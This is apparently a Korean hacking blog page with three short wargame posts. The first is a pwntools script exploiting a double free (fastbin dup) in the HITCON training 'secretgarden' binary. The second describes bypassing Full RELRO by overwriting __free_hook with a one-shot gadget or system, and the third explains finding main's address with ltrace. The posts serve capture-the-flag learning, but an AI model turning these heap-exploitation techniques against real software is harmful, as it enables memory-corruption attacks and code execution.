fastbin dup 연습 문제


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
 
def add(length, name, color):
    r.sendline("1")
    print r.recv()
    r.sendline(str(length))
    print r.recv()
    r.sendline(name)
    print r.recv()
    r.sendline(color)
    #print r.recv()
 
def delete(num):
    r.sendline("3")
    print r.recv()
    r.sendline(str(num))
    #print r.recv()
 
if __name__ == "__main__":
    fack_chunk = 0x601ffa
    magic = 0x400c7b
 
    r = process("./secretgarden")
 
    add(80, "A"*8, "red")
    add(80, "B"*8, "blue")
 
    delete(0) # double free
    delete(1)
    delete(0)
 
    add(80, p64(fack_chunk), "red")
    add(80, "second", "blue")
    add(80, "third", "green")
    add(80, "A"*14+p64(magic)*2, "red")
 
    r.interactive()

'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab6  (0) 2018.10.22
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16

포너블 풀다가 Full Relro가 걸려있어서 got overwrite를 할 수 없는 상황이였다.

검색 하다 보니 free_hook에 write가 가능해서 이 부분에 one-shot 가젯이나 system함수의 주소를 덮어쓰면 free()함수를 호출할 때 이 hook을 실행한다.

다시말해 one-shot가젯이나 system함수를 호출한다는 것이다.


 이 free_hook의 위치는 아래와 같이 찾을 수 있다.

p &__free_hook

이렇게 찾은 hook에 overwrite를 하게되면 free()함수를 호출하면 overwrite된 가젯을 실행시킨다.

Full Relro가 걸려있을 때 유용하게 사용할 수 있다.

ps. malloc_hook, realloc_hook도 사용가능하니 참고하자.


'HACKING > System hacking' 카테고리의 다른 글

remote socket exploit??  (0) 2019.02.03
memory cheat sheet  (0) 2019.01.17
ltrace로 main함수 심볼 찾기  (0) 2018.09.16
vim jail 문제  (0) 2018.09.08
gdb 멀티프로세스 디버깅  (0) 2018.08.27

ltrace ./binary 로 바이너리를 디버깅 하면서 아래와 같이 __libc_start_main부분에서 첫번째 인자에 main의 주소가 나온다.


int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));


ex)

첫번째 인자인 0x0804874d가 main의 주소다.

기존에는 다른 함수들에 bp를 걸어서 계단형식으로 main을 찾았는데 이제 이 방법으로 해야겠다.


Ref.http://paulo.tistory.com/78?category=654027

'HACKING > System hacking' 카테고리의 다른 글

memory cheat sheet  (0) 2019.01.17
free_hook으로 Full Relro 우회  (0) 2018.09.17
vim jail 문제  (0) 2018.09.08
gdb 멀티프로세스 디버깅  (0) 2018.08.27
The House of Force  (0) 2018.08.23

+ Recent posts